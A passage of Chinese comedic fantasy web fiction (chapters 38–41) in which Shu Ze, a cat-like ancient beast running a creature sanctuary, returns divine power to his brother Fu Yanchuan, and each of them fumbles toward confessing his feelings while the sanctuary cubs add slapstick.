开始思考这个问题的他,心思不单纯。这已经不是兄弟情可以解释的问题了,这是社会主义兄弟情啊! 妥妥变质! 舒泽当时,一下子有点没法接受,干了个罐罐就接受了。当即就决定策划一场惊天地泣鬼神的表白,狠狠的惊艳所有人。 至于能不能拿下他哥。 一天不行,那就一年,一年不行那就十年嘛。大家都活得挺久的,没必要在乎这一点半点的。 结果,计划没构思好,人也不常见了,后面睡了一觉,直接干到千年后了。 你说这事闹得,说明了什么? 舒泽坚毅无比,“说明这种事情它就不能拖,不能仗着自己活得长久就精雕细琢,应该说干就干,直接拿下!” 拿下……下…… 四目相对间,过往种种,烟消云散,新的认知在此刻重塑。 李二牛震惊到忘了呼吸,双腿一软跌回椅子,呆滞的望着天花板,婉转叹息中带着空茫,“我的老天爷啊……” “你可闭嘴吧。” 舒泽抱臂恢复蘑菇形态,大声蛐蛐,“那我不说了你倒是说啊。” 李二牛捏着把手,头晕目眩,“我有罪,孩子什么时候养歪的都不知道……” 歪蘑菇不想听叨叨,并想发起攻击吐泡泡,“这些都不重要。” “现在最重要的是,我要怎么追人。我现在,也算是有身份有钱的人,有资格追我哥了吧。”蘑菇扑棱伞盖,微微雀跃。 有身份……有钱…… 李二牛面色复杂,“你……你觉得,要比傅宴川有钱有地位才能追他?” 唔,这个问题还真没想过哈。 舒·暴躁大喷菇·泽陷入沉思,“也没有吧,我也不敢和我哥差太多。毕竟讲求一个门当户对,我怕他有心理压力。” 舒泽郑重点头,对自己提出肯定和表扬,“嗯,对,就是这样。” 李二牛:“………………” * “所以,你们一直以为,我们三个。”傅宴川想找到一个合适的形容词,“是这种,恨海情天的特别关系?” 苏尔小心翼翼,“难道,不是吗?” 他也不知道自己脑子是抽了什么风,明明那么怕傅宴川,但对方一问,他就像倒豆子似的,全秃噜了个干净。 甚至还真心实意为他担忧起来,“你现在这样不行吧。” 傅宴川还在琢磨这玄妙的剧本,闻言礼貌倾听,“怎么说?” 虽然他还不至于吃李二牛和舒泽的干醋,但是他也很想听听,自己怎么就“不行”了。 “论长相,你俩都不差。”苏尔仔细分析,“但是你看哈,以你原来的身份和我老板比,也算是一个有权一个有钱吧。” “算起来,你也能略胜一筹。” “但现在呢。”苏尔两手一拍,“没了哇!” “你曾经那些辉煌都成了过往,你现在只是一个在舒泽旁边混吃混喝的小白脸,但我老板依旧有钱啊!” 傅宴川面色逐渐凝重,他只考虑了赖在小泽身边的问题,好像,确实,没有考虑过,对自己男性魅力的损害。 “所以,我现在这样,很没有核心竞争力?” 苏尔狂点头,“我觉得你要是能恢复原来的身份,求偶成功的可能性会更高一点。” 同一时刻,兄弟二人都在外界的引导和自我的发展中,逻辑自洽,并朝着反方向策马狂奔。 成功的让,即将到达终点的爱情加赛一场马拉松。 是夜 牛马下班,倦鸟归巢,胖喵干饭。 舒泽嘴埋进碗里高速运转,两只眼睛掩在碗沿边打望。 见他哥正端着他的第二碗饭往里面添砖加瓦,慢吞吞的抬头,喊到:“皮皮。” 慢条斯理咽下青菜的皮:“?” 舒泽提高音量,“今天大家上班的情况怎么样?” 皮皮惊疑,但皮皮回答:“和往常一样。” 舒泽点点头,“嗯……稳中有升,欣欣向荣,一切都在朝着好的方向迈进。” “但也没有太快,总体发展还是很平稳的。” 皮皮:“?” 他刚刚是只说了五个字吧? 是的吧? 傅宴川把建设完毕,垒成金字塔的碗递过去,和风细雨,“对了,小泽,我想和你说一声,我过两天要出去找点事干,就不能长时间呆在家里了。” 傅宴川谨慎的抛出剧本,并观察舒泽的反应。 他需要走成长流,一点一点揭露真相。不然小泽以为他故意骗人怎么办,要把他赶走去夺回属于自己的一切怎么办。 舒泽接过碗,绷着面皮,“哦。” 不太高兴的猛刨一大口,唏哩呼噜嚼吧咽下,小声但沉重的对皮皮说,“不能平稳迈进了,要走快点。” 万一被他哥追上来了怎么办? 皮皮:“?” 真是搞不懂你们这些成年人的。 第38章 成大事者不拘小节 舒泽抬手,手心冒出一团蓝雾。 氤氲流转,浅色朦雾,似星河流转,月中霞光,不是凡尘之色。 李二牛神情复杂:“不是,我说。” “这就一团能量球,你描述得那么高级干啥,不知道的还以为你写作文呢。” 舒泽噎住,瞪了李二牛一眼,“你懂什么?” 傅宴川含笑顺毛,“我觉得形容得很到位。这么多年,我还没听过那么有文化的夸赞。” 舒泽好了,立马就好了。 龇起的牙缓缓收回,眼神清澈(空茫)。 随着傅宴川摸头的动作,手心里的蓝雾跟着左右摇晃。 李二牛白眼上天。可不是吗,原来会说话的兽都没几个呢,上哪儿去听那么花里胡哨的夸赞。他的目光在舒泽和傅宴川之间来回晃动,心里突然冒出一个大胆的想法。 其实……有没有可能,这混蛋猫不是单相思呢? 嗯,不对不对。 李二牛甩甩头,把脑子里奇怪的东西甩出去。虽然舒泽不是什么好东西,但是咱们这位宴川帝君可是清风朗月的正人君子,怎么可能会对自己亲手养大的弟弟产生那种想法。 这不是禽兽么! “还是先说正事吧。”李二牛神情一肃,“小泽可以随意调动神力,说明他现在已经和神力建立起了深厚的联系。若强行剥离,无法确保他的安全。” “帝君你先试探性的,看能不能先吸一部分回去。” 傅宴川点点头,伸出手掌,落于雾气上方。骨节分明,自然舒展,大小刚好可以把舒泽的手嵌进去。挤在中间的蓝雾,也不知是否感受到了原主人的气息,晃动得更加起劲。 傅宴川直直望进舒泽的眼,千言万语只化作一句,“别怕。” 不要害怕,不管怎么样,我都不会伤害到你。 “嗯。”舒泽眼神坦荡,那股信任掺不了一点水分,“不怕的。” 傅宴川嘴角勾起浅笑,指尖触碰掌心,交汇,贴近,二人随着缝隙的填补直至严丝合缝,缓缓闭上眼。 在一旁护法的李二牛:“……” 浑身刺挠,怎么感觉自己应该去树顶或者那边草堆下,总之就是不该在这里。 一颗树后,噗嗤噗嗤长出三对耳朵。熊师傅挤在最下面,小灰倔强的挤在中间,皮秘书以一种从容闲适的悠然姿态平视前方。 熊师傅甩甩耳朵:“我们来这里干什么啊?” 皮师傅言简意赅:“看院长在干什么。” 被熊耳朵挠得下巴发痒的小灰:“那为什么我们不一人站一颗树哇?” 皮皮向下一撇,“嗯?” 你是在质疑我? 小灰加紧尾巴,唯唯诺诺。 熊师傅被压在最下面,撅着屁股晃自己煤球似的尾巴,“院长好像很不舒服诶。” 皮皮和小灰齐齐望去,傅宴川舒泽抱在怀里,面对百位参议诘问,脸色都不变一下的傅宴川,慌得失了章法,“小泽?小泽?!” 这一幕实在是太熟悉了。 天崩那日,舒泽也是这样,双目紧闭,了无生气。而后千年,他也是盘做一团,安安静静的躺在那里。现在才重见没几日, 舒泽双眼紧闭,软软的靠着。 李二牛大步向前,将手指探到鼻下,感受到平稳的呼吸后才大松一口气。抓起他的手腕探查,片刻后,无语凝噎。 “睡着了。” 傅宴川并没办法安心,“他一觉睡了千年。” 要是再睡上个几百上千年,怎么办? 李二牛皱眉,“应该不会,他原来睡是因为承接了你身上的法力,无法消化,才会陷入沉睡保护自己。” “这次,也没吸多少回来,应该不会……” 李二牛还在认真分析,傅宴川左耳朵没进右耳朵也没进,担忧的抚去舒泽额前的头发,指尖溢出些许蓝雾。 李二牛:“!!!” 他抓了把头发,那个手伸了又伸,好比不能失去紫薇的尔康,“你到底有没有听我说话啊!他没事!要不你再稍微等一下,看看情况呢!” 傅宴川指尖微顿,幽蓝的光亲昵的围在四周,好似在诉说千年别离。轻然卷曲, 安静,蔓延。 舒泽神色平和,睫毛如鸦羽敛垂,好似下一秒就会睁开眼,也可能就这样,永久沉睡,不知归期。 李二牛被傅宴川眼中流出的孤寂狠狠刺中,守着一个不知道会不会醒来的人,呃,兽,等待成了无法逃脱的囚笼。 他一时哑了声,“情况还没有太糟糕……” 傅宴川头也不抬,“有一会儿了。” 李二牛一时没反应过来,“哈?” 刚散去的蓝色水雾又重新凝实,傅宴川再次解释,“等一会儿,我已经等了。” 总会有其它办法,从长计议。就算到了最后,真的只有这条路可以走,那他也不会逼迫舒泽,也要给自己一个告白的机会。不然到时候舒泽过了奈何桥不等他怎么办。 李二牛:“…………” 你这也太一会儿了吧! 傅宴川闭眼凝神,舒泽突然轻轻蹭了下,细软的发丝擦过脖颈,傅宴川还以为是自己产生了错觉。直到舒泽反捏了一下他的手,他才惊喜的喊道:“小泽?” 舒泽艰难的蠕动嘴唇,傅宴川屏气凝神。 舒泽:“晚上……红烧肉……” 说罢,手劲一松,呼吸匀称,彻底陷入昏睡。 寥寥数字,安抚了孤独脆弱,当了千年孤家寡人的傅宴川。他强行让自己平复下来,“好,哥晚上做红烧肉。” 说罢,小心翼翼的抱起舒泽,送入房间后急匆匆的要出门,拉住李二牛,“他现在意识不清,不安全,你帮我守一会儿。” 李二牛担心他想不开,“那你去干嘛?” 傅宴川一挑眉,好似在惊讶他为什么会问出那么简单的问题,“我去菜市场买猪肉啊。” 李二牛:“厨房不是还有三条——” 傅宴川:“买半扇。” 李二牛:“…………五花么。” 行…… 猪见了他都得连夜坐飞船走。 傅宴川匆匆离去,李二牛百无聊赖的坐在门口晒太阳。恍惚间还以为在自家大楼的露台,本想摇晃红酒杯,手伸出去却扑了个空。 别说红酒了,连杯水都没有。 他无语的抹了一把脸,发现自己眼前,不知道什么时候多了一从草团,绿油油的,在水泥地上,突兀得把“我有问题”四个大字舞到他脸上。 他撑着下巴,饶有趣味的打量。 撅着屁股双手爬行的熊铁锤,撑着脖子骂骂咧咧。他肩负着伪装前进去看院长,将消息送回给后方军师的重任。 他的伪装出神入化,和周围的景色完美融为一体。明明一点破绽都没有,这个可恶的人类到底在干什么? 熊铁锤紧张的吞咽口水,紧张到不敢呼吸。 天很蓝,云很团,风有点冷。 李二牛盯着那团草悠然自得的——换了一个手撑。 透过草叶缝隙偷瞄的熊铁锤:“……” 无聊的人类,那么好的太阳不睡觉,简直是不懂享受生活! 熊崽骂骂咧咧,骂骂咧咧,中午吃的红薯在肚子里叽里咕噜的翻涌,直冲后去。 熊熊夹紧屁股,小小的圆球尾巴炸成大呲花。 糟、糟了…… 李二牛无视身后悉悉索索的小动静,总归就是两只喜欢舒泽的小崽,能掀起什么风浪。 他现在比较好奇眼前这团迷惑的草,到底还能整出什么花活儿。 突然,草团如秋风吹落叶,被人挠了痒痒肉似的簌簌颤抖。 里二牛起了几分好奇,走到草团旁边蹲下,准备把里面的崽提出来。刚一出手,一股微妙的味道以势不可挡之姿直击鼻腔。 如旷野中潜藏的牛粪,经过三天三夜的暴晒发酵,燃起了烈火,扔进了百万平方的沼气池。 那是和等的波澜壮阔,掀起的风浪直达心灵。在那一瞬间,千年经历走马观花,重回天地初开,万物混沌时—— 李二牛眼前一黑,绿着脸撒腿狂奔,超音速撤离,将呕吐声留在原地。 不知道是不是错觉,刚刚还绿油油的草团忽然变得蔫头巴脑的,叶子打着旋飘落在地。草团中心,长出两只黑色小耳朵,熊铁锤甩着脑袋冒出来,头上正中间还插着一根嫩枝丫。 和摸到门口,目瞪口呆的两兄弟对视的一瞬间,熊师傅腼腆一笑,“我想了想,以我的实力,声东击西,不如诱敌深入,一击毙命。” 人在尴尬的时候,不仅话会变得很多,智商还会成几何倍增长。 小灰和皮皮双双沉默,摒气后撤。 对他动手了就不许对我们动手了哦。 * 没了李二牛的留守,三崽极其顺畅的溜到了舒泽的床前。小灰踮起脚尖摸了摸舒泽的额头,有点担心,“院长为什么突然会晕倒啊?是不是他们对院长做了什么不好的事情哇?” 皮皮沉吟,笃定道:“他不会。” “我只是担心。”皮皮看向沉睡中的舒泽,“我只是担心,院长会走。” 如果他只是一颗在阴暗角落成长的蘑菇,那他可以继续在阴暗中腐败。但是他现在见过阳光了,也会奢望开出绚烂的花。 “他们好像在商量什么事情,这段时间,那个人一直在忙着把保育院建得更好。我担心,建好以后,他会把院长带走。” 小灰捏紧拳头,眼睛水汪汪的,“院长才不会抛下我们!” 但说完之后,他自己都沉默了。 比起傅宴川,他们和舒泽之间的羁绊浅太多了。留在这里,更多是要要担院长的责任。而和傅宴川走……显然会自由自在更多。 房间内一时失了声音,压抑蔓延。 “所以。” 小灰和皮皮看过去。 熊铁锤缓缓开口,“你们不是说,由我暗中潜入吗?” “但是刚刚,你们怎么都已经摸到门口了?” 小灰、皮皮:“……” 皮皮:“不用在意这点细节。” 第39章 第39章 oi,帅哥 舒泽从睡梦中清醒,拉高被子,把脑袋往深处一栽。片刻后,缓缓露出一双眼睛,歪头—— 对上了三双水汪汪的大眼睛。 小灰:“院长,你不要我们了吗?” 皮皮:“你打算把这里建好之后就离开吗?” 熊铁锤抓耳挠腮:“你会和那个男人私奔吗?” 舒泽:“。” 小伙伴:“……” 皮皮从牙缝里挤出来一句,“你要实在不知道说什么,可以不说话。” 熊师傅委屈,“我那不是想合群吗?” 三小只用不太大的脑子经过缜密的思考后,选择直接问。万一院长真的想把他们丢下,他们也能及时展示出自己的作用,方便跟上去当个拖油——啊呸!当助手。 熊师傅正因为被嫌弃,耷拉个熊样,头上忽的一重,诧异抬头,看到了一截白皙修长的小臂。 舒泽从被窝里伸出一只手,手法不是那么温柔的盘了两下熊头,“不会丢下你们。” 舒泽懒起来的时候,连饭都懒得吃。更别提刚睡醒的时候,除了倒头睡回笼觉,连眼神都欠奉。但这次,他撑着沉重的眼皮,学这他哥的样子(徒有其表,一模两样)安慰没有安全感的幼崽。 他嘴角带着浅笑,“放心。” 小熊眼睛撑得溜圆,随着胖肚子的起伏,手掌捏成拳。在院长的温暖照耀下,缓缓张开嘴。 舒泽嘴角的笑如昙花一现,极快敛下,连带着嘴里吐出来的话都变得冰冷无情,“放心,我不会悄悄走。走之前一定把你卖动物园,捞一比钱。” 熊铁锤:“o.0?” 舒泽收回手,转头自闭。 傅宴川进来,无奈又好笑,“你逗他们干什么?” 把熊铁锤抱起来,拍了拍q弹的圆屁股以示安慰,“你们吵到院长睡回笼觉了,他心情不好,吓唬你们呢。” 熊铁锤不自在的挪了挪屁股,背后蛐蛐人被抓包了,饶是熊脸都有点顶不住。 傅宴川倒是自然得很,一点都不在意。目光看向皮皮,温柔平和,“兽兽们快下班回来了。” 皮皮绷着脸掏出手册,“知道了。” 小灰左看看右看看,毛茸茸的大尾巴纠成球,攥着手指,怂到皮皮身后藏着。 傅宴川把熊铁锤放下,让他跟着皮皮出去。 “最近在考察新的选址,合适的话,会带着整个保育院搬过去。” 三小只已经摸到门口了,闻言面面相觑,有点发懵。暗中在意了那么久的事情,傅宴川就那么水灵灵的说出来了?而且担心了那么久的事情,就只是白担心? 傅宴川饶有趣味的观察装高冷,实则耳朵都抖出残影的皮皮,贴心的补了句,“下次有什么事情,可以直接问我。” 皮皮嫩脸一红,急匆匆的往外跑。两个小短腿啪嗒啪嗒的跟上。 傅宴川笑着摇了摇头,走到床边,弯腰附身,将被子微微向下扒拉一点,露出一双明亮的眼。 “好了,唬也唬过了,起来吃晚饭,我弄了红烧肉。” 舒蚕蛹只露了双眼睛在外面,直直落在傅宴川的睫羽上,怏怏的扒拉被子,“不是。” 傅宴川没有跟上他的节奏,“嗯?” 舒泽摇摇头,跳过回答,“你现在感觉怎么样?” 傅宴川看舒泽没什么精气神,话到嘴边又换了句,“挺好的,只要接下来你没出什么问题,就可以慢慢引回来了。” “很快就能回家了。” 说起回家,房间里骤然沉默下来。像冬日厚重的冰面,往下是隐秘的盼望,潺潺流水,温意尚存。 舒泽弯了眼,“回家好。” 他正愁时间紧任务重,人手不够,回家了还怕壮劳力不够吗? 傅宴川虽没有问出口,但眼神始终落在舒泽的脸上,见他露出一点笑意才放下心来。 “回家的事情不急,但是今晚上的红烧肉快凉了。” 毕竟是自己点的餐,舒泽的兴趣值还是很高的。一个鲤鱼打挺就翻了起来,拉住他哥的衣袖大声蛐蛐。 “刚刚大勺居然说我们是私奔。”舒泽小发雷霆,“扣他一块儿肉。” 什么私奔? 他和傅宴川在一起生活了那么多年,明明就是一家人,怎么能用私奔这样的词儿! 那叫久别重逢! 舒泽暗自腹诽,傅宴川的心却止不住的往下沉。 在小泽心里,他们之间的兄弟情是那么的纯粹。连这种扯上了另一种感情的描述都会让他不高兴。 那如果有一天,小泽发现了自己龌龊的想法,会不会…… 傅宴川不敢往下想。 * “阿嚏!” 熊铁锤揉揉鼻子,瓮声瓮气,“我不会是感冒了吧?” 小灰摸了一把额头,笃定的安慰,“不会的,你看起来壮得像熊一样,没什么问题的。” “啊……”熊铁锤挠挠耳朵,抠抠肚子,憋半晌终于缓冲过来,“不对啊!我不本来就是熊吗!” 小灰:“哦啊~” 被发现了捏~ 小灰愉悦的摇尾巴,忽然,“咦?” “他看起来,蔫蔫的哦。” 皮皮正在写今日总结,抬头看去,傅宴川正笑着听院长说话,但在院子低头的瞬间,嘴角的笑会微微向下耷拉。像是寻到机会,就放松一会儿。 这种笑,不太真实。 熊铁锤熊掌拍熊掌,“他看起来像菜要糊锅了。” 很苦的样子。 傅宴川苦不苦只有他自己心里清楚,但是红烧肉的香大家是都知道的。 李二牛选了一个距离熊铁锤最远的距离,深渊巨口,疯狂摄入,筷子挥出残影,酱汁和饭粒齐飞。 一碗饭下来,他捧着碗留下面条泪,“多少年没有吃过了啊。” 说到最后,余尾都带上了颤音。 他想的是这口肉,更是回不去的过往。距和傅宴川坐在一起吃饭,已经过去了千年。他甚至快记不清山海境里的小兽兽们都长什么样子了……想必此刻,傅宴川应该也很有感—— 慨? 李二牛茫然的看着干净的菜盘子,还有掏出一盆肉的傅宴川。 堆成金字塔的肉盆,颤巍巍的停在了舒泽面前。傅宴川笑盈盈的,“别急,慢慢吃,要吃饱,还有一锅。” 别人是锅里还有,他是还有一锅,哥哥的爱和半扇猪肉一样不容小觑。 “不要光吃菜,吃饭才顶饿。” 傅宴川两手抱出一碗饭,duang的一声结结实实的放在了舒泽面前,体积之大,可以埋进两颗猫头。 李二牛缓缓放下筷子,眼神迷离,“一时分不清,到底谁是猪。” 月上柳梢,吃饱喝足的兽兽们归巢歇息。陷入沉睡的小海獭静静漂浮在水面上,被梦游吐墨的巨章鱼喷得撞壁,乌漆嘛黑的抬起头,只看得见一对呆萌的圆眼睛。 小灰举着抄网把小海獭捞起来,放进小水池里,唰毛肚似的飘了几下,“说了多少遍了,睡觉之前看准窝,不要串寝。” 一键卸妆后的小水獭被小灰温柔的送进旁边的小池子,搓搓脸,又睡着飘走了。 岸边,露天而席的喷火龙,尾巴边围了一圈畏寒的小兽。保安队长的蓝光划破静谧的夜空,远处新起的房子亮着点点暖光。 在傅宴川的规划下,整个保育院更有家的感觉。 “也不知道还会在这里住多久。”傅宴川望着眼前的景象,喃喃自语。 皮皮甩着机敏的耳朵,沉稳的Q弹小脸写满不解,还带着一点紧张,“什么意思?” 不在这里住,还要去哪里住? 他从出生起就呆在这里,就算现在要外出打工,但那也限于在特定地方,两点一线。 那是他的安全区,是舒泽画出来的保护圈。在皮皮的心里,其它地方是人类的地盘,那是异兽族不被允许踏入的禁区,潜藏着无数危险。 傅宴川没有直接回答皮皮的疑问,仰望苍穹,千年前的月亮至今依旧明亮。 他说,“去适合大家生活的地方。” * 上午起,干饭;午起,干饭;下午;干饭;晚上,干饭;凌晨,干干干饭。 自打舒泽开始漫长的还法力之路后,饥饿和嗜睡的情况就愈发严重。傅宴川和李二牛推断,舒泽应该是在用这种方式弥补身体的流失。 二人没想到办法,目前看来,除了能吃能睡一点也并无大碍,也就随他去了。 食材消耗达到了一个惊人的数值,厨房的烟囱从早到晚都冒着气。 小灰看舒泽大口大口干饭的样子,紧张的抱住了自己的毛茸尾巴,声音有点发虚,“院长吃完锅里的饭,就不会吃我了吧。” 舒泽面颊红润,唇覆油光,三口解决掉一个大鸡腿,中场休息顺嘴吓唬一下小朋友,“你太柴了,我喜欢有肉的。” 小灰感动,身材管理室有用的。 熊铁锤面皮子绷紧,但兜不住乱晃的肉,捂着五花三层的肚子,无眼睛汪成荷包蛋,“院长你不会说的是我吧?” “不要哇!不要哇!熊不好吃的哇!” 一口气说了十个字的舒泽,专心干饭,完全不顾及小胖子的死活。 傅宴川围着碎花小围裙,系带围在腰间,腰窄而肩宽。他单手举着托盘,空着的手安抚的摸了摸小熊,“别怕,院长骗你的。” 笑眯眯的,“你不够一盘菜,起码得三个一起。” 完了,连他都这么说了。 熊铁锤:QAQ 小灰:0.0 皮皮:o-o 或许是傅宴川难得配合他一起胡来,舒泽嘴上不停,眼睛却往他哥身上瞟了又瞟。 等傅宴川过来的时候,舒泽伸手扯了扯他的围裙下摆。 傅宴川:“?” 他弯下腰,“怎么了?” 舒泽眼睛里藏着稀碎的小星星,“哥,你这样,有点帅。” 噗通、噗通。 树梢哗哗,心跳如雷。 傅宴川觉得自己心跳好吵,吵得他都没有办法思考了。 第40章 想你的风还是吹到了工位…… 舒泽静静的和他哥对视,心中隐隐带着期待。 李二牛说,喜欢一个人是藏不住的,如果对方对你也有意思,那当你夸他的时候,一定会有反应的。 然后发现,他哥没反应。 啊……好失望。 傅宴川心跳如雷,好半晌才把自己解救出来。大脑后知后觉开始处理信息,突然意识到,舒泽正看着他,自己再这样呆下去很奇怪。 他清了清嗓子正准备开口,刚巧看见舒泽头顶的呆毛缓缓翘起,人已经重新埋进饭盆了。 傅宴川剧烈跳动的心快速沉寂,微微张开的唇瓣略显茫然。 而化悲愤为食欲的舒泽,含泪(并不存在)又干了三盆饭。 一个站着不动,一个埋头不起。 李二牛咬着筷子啧了声,“我看这俩怎么那么别扭呢。” 小灰拍了拍他的背,安慰道:“是这样的,三个人的世界就是很拥挤,我也经常被皮皮和铁锤遗忘。” 李二牛从筷子上嘬出苦意,“我堂堂上古神兽,居然沦落到被一只老鼠安慰的份。” 友善的小灰送他一尾巴,你才老鼠,我是狼!” 李二牛嘬着筷子,惊讶的将小灰从头看到脚,“啧。” 两手摊开,微微耸肩,”没看出来。” “……”小灰捏紧了拳头,鼠鼠可以忍,狼不可以忍,“关门,放铁锤!” 熊师傅配合的撅起圆润挺翘的屁股蛋子,李二牛叼着的筷子啪嗒落地,“你你你、你想干什么啊?”那日的痛苦回忆涌上心头,你二牛惊得声音都在发抖,“你警告你啊,不要乱来啊!这可是饭桌,神圣而不容侵犯的饭桌!” 有舒泽在,他不信这几个崽敢在饭桌旁投放毒气弹。 但话是那么说,李二牛已经屁股离凳,随时准备跑路。恰是时机,舒泽把饭盆往前一推,秀气的打了一个大大的饱嗝,“不吃了。” 李二牛:“!!!” 故意的吧!这绝对是故意的吧! “呵,你以为我会怕你们吗!”李二牛拍案而起,放完狠话弹射起步,撒腿就跑。 小灰拉上人形毒气弹穷追不舍。 皮皮淡定起身,骚扰草丛里正在睡觉的小鸟兽。树杈微动,叶片挠过鼻子,小白团子不耐烦的睁开绿豆大的眼睛。被李二牛穿云的尖叫声吵得羽毛塞耳朵。 嫌弃喷火龙身边太多兽太吵的小尾雀骂骂咧咧飞过去,追着他的头发啄,“什么毛病,还让不让鸟睡觉了!” 一片欢腾快乐中,傅宴川垂着脸静静愣神,直到视线里多出了一双手,细长的模样完全没有办法和那个毛茸茸的山竹联系在一起。 但傅宴川不需要联想记忆,只要是舒泽,无须刻意,只一眼就足以唤醒所有本能。手上的温热传入心尖,整颗心都变得轻盈起来。 傅宴川所有不快,都在这一拉中消散。 他抬眼,还是那个欲所欲求的好哥哥,还是那个眉眼如画的宴川帝君,“怎么了?” 舒泽拉着他哥的手,轻轻“嘘”了声,在不解的目光中拉着他往人堆的反方向走。后脑勺翘着一撮头发,像是个小勾子,钓人跟着走。 傅宴川感受着掌心的热意,不自觉的用了几分力,又仓皇的松开。害怕抓不住流逝,又害怕抓太紧从指缝之间溢出。 他哥心思百转千回,舒泽是一概没想。他是被宠坏了的,觉得他哥就算真不喜欢他,那也不是大问题。毕竟今天不喜欢,明天说不定就喜欢了,反正他哥又无法拒绝他的要求。 只要提升一下核心竞争力就行了。 握着现役哥哥,未来情哥哥的手,舒泽毫不客气的蹭了蹭,理直气壮的松开,又琢磨起其它。 傅宴川掌心痒了一下,但见舒泽表情无异样,还以为自己是想多了。 他敛下心中想法,“怎么了?” 专门拉他来无人的地方,“是有什么事情要说吗?” 舒泽还在蒙头感受,手划拉划拉距离,像头小牛犊似的撞进他哥怀里,双手狠狠勒住,勒得傅宴川一声闷哼。所有旖旎心思都在这“兄弟抱一下”中随风消散。 “咳、咳咳咳!” 傅宴川仰着头,神色迷离。猫这种生物,你永远都别想搞清楚他们的习性。上一秒可能还对着你和颜悦色,下一秒就可能给你两拳。 他无奈的拍了拍舒泽的背,“松一点,喘不上气了。” 舒泽抬起头,责备,“你这人,就是性子急。” 傅宴川:“…………” 他无力的张了张嘴,又沉默的闭上。 舒泽又把自己猛栽进怀里,脸贴着某个部位狠狠蹭了下,发出谓叹,“软软的。” 傅宴川没有接上他的脑回路,“什么?” 舒泽松开手,哥俩好的拍拍傅宴川的肩膀,“没啥,你感受感受。” “感受什——”熟悉的力量充盈身体,傅宴川抬起手,一抹蓝色幽火轰然腾起,乌发及腰,无风自扬。燃去了傅宴川的伪装。淬出了眉宇之间的悲悯无情。 物归原位,千年前的神明重回于世。 正在打闹的皮皮心里一跳,朝着那边望去。他说不出心里的感受,却感觉浑身的血液在躁动,在兴奋。在提醒他靠近,又催促着他臣服。 “终于……” 皮皮转过头去。 看见被熊铁锤制裁,双手抱头蹲在地上的李二牛,眼泪糊了满脸。 “千年了啊,终于……” 皮皮不知道他在说什么,因为他什么都没说。但是那话里裹挟着的风霜压得小小的他,心头一震。 那应该是一个很悲伤的故事吧。 * 傅宴川睁开眼,本该无情的神明又盛满了浓烈到无法化开的情。他反应过来,舒泽抱他是为了把法力传过来。 傅宴川捏住舒泽的肩,语调微变,“你怎么都渡过来了?” 这般激烈,身体承受得住吗? 傅宴川没有说出后半句,但舒泽完全懂他哥的意思。挺直腰杆,理直气壮,“那当然是!” 舒泽软成猫条,一下子就滑进傅宴川的怀里,最后四个字如鱼吐泡泡,瓮声瓮气的从嘴里飘出来,“顶不住了……” “!!!!” 舒泽撑着沉重的眼皮,将身上残存的力气都移到了握着傅宴川手臂的手上,“带它们回来。” 已经,已经太久了…… 舒泽缓缓闭上眼,呼吸清浅。 乌发滑落,轻轻搭在腕上。 “等我。” 呢喃在风中消散。 …… “其实上古四大凶兽的名号,都是人类杜撰的,你看你们院长,大名鼎鼎的穷奇诶,吃人不?” 李二牛翘着二郎腿,一边抖腿,一边唾沫横飞,“但这事也不能全怪人类。” 下头坐者的三只崽瞪着清澈无辜的大眼睛,还跟着后三层天一层的兽。但凡是没外出务工的兽,全都聚在了这里,听李二牛科普山海境。 “你们院长啊,那时候调皮得很。每天掏窝摸鱼,烦得整座山的兽都不想和他玩儿。傅宴川又不是时时刻刻都呆在境内,他就偷跑出去,到人类的地盘上撒野。” “经常把自己变大吓人,去嗦人家脑袋,把人吓得落荒而逃,再去捡被人丢下的物件。” “吃的就下肚,好玩儿的就叼回家。” “久而久之,穷奇凶兽爱吃人的名声就打响了。傅宴川为了给那些被舒泽祸害的人类补偿,没少下功夫。” 傅宴川已经启程去修复山海境,也确认了,当年山海境坍塌,溢出来的能量经过千年的漂泊,落在了这里,创造出了现世的异兽。说来说去,那也是同宗同源的一家人。 李二牛积压了千年的情绪一经释放,嘚吧嘚吧说个不停,说得小灰瞪大了嘴巴。也不知是被对方口中那个从未听说过的,只属于兽兽的世界震撼到了,还是被院长不为人知的另一面震撼到了。 李二牛如觅知音,“是吧,你也觉得他很荒谬!” 小灰甩头甩得耳朵飞起,“不是。” “你居然见过那么活泼的院长。”小灰有点酸,“院长已经三天没和我说话了。” 后头不少兽兽,都露出了赞同的表情。 李二牛:“…………” 他就知道。 猫这种生物,惯会蛊惑人心,随便勾勾手就可以拿下很多人。 “所以等山海境重建好了,我们都可以过去吗?”皮皮作为唯一脑力选手,还是很会抓重点的。 李二牛微一挑眉,“当然可以。” 他当然知道现在的人类对异兽族的打压有多厉害,有多无法无天。苏尔就是偷了几只鸡吃,就被按上了那样的罪名。而且,还是人类去抢占他的地盘。 他放下二郎腿,郑重其辞,“那也是你们的家。” 保育院里的兽兽们大多开智有限,而且也没怎么见过外面的世界。稍大一点的,和有脑子的,纷纷被李二牛这句话激起情绪。 一眼扫去,毛茸茸的脸上也瞧见了兽世百态,或懵懂或怅惘,那么多有表情的兽兽,感动中又透着一丝诙谐。 “好了,好了,都散了。”李二牛轻戳熊汤圆,让他在地上小滚了半个圈,开始吆兽,“以后大家都要去的,还会认识很多新伙伴,不必急于一时,先把眼前的活儿都干了。” “不然等你们院长睡醒,我这个监工也要完蛋了。” 活儿不干不是重点,重点是不干活,没钱,没钱无法扩大产业提高身价,舒泽就没底气追傅宴川。 没底气就会生气,生气就会折磨他。 想他堂堂顿混集团的总裁,星际顶尖首富之一,居然要在这里操心块八毛的事儿,猫这种生物果然很可怕。 正被兽蛐蛐的舒泽动了动手指,发出呓语,“哥……带回来……把它们都带回来……” “活儿……缺兽……”《 》 40-44 第41章 履行约定 李二牛骂骂咧咧的把舒泽的手放进被子里,捏好被角缝隙,“我上辈子真的是欠了你俩的。” 把床上的人裹好,李二牛掏出手机拍了张照片,发送给傅宴川。 科技的进步冲破了星球的限制,也将信息的传递送往星际的每一个角落。 “亏得我之前在蓝星安装了几个信号站。”李二牛边打字边嘟囔,“不然还不得急死他。” * 蓝星 天像是破了一个大洞,漆黑的旋涡贪婪的吞噬所及之物。但它的周遭却被一道彩色流光牢牢锁住,浓郁的灵气如水般流淌,静谧无声,包容万象。 傅宴川乌发长袍,长身玉立。虽不见风,衣袂飘飘。对比天上的大洞,他弱小得像随时都会被吸进去。但他抬手一挥,流光肆意,雷霆万钧可抵千军万马。 “嗡—嗡—嗡——” 傅宴川收回手,从广袖中掏出和场面极为割裂的手机。屏幕上正是李二牛发来的舒泽睡颜照。 ——情况稳定,胃口极佳,饭后把三个小崽一起吞了溜缝。 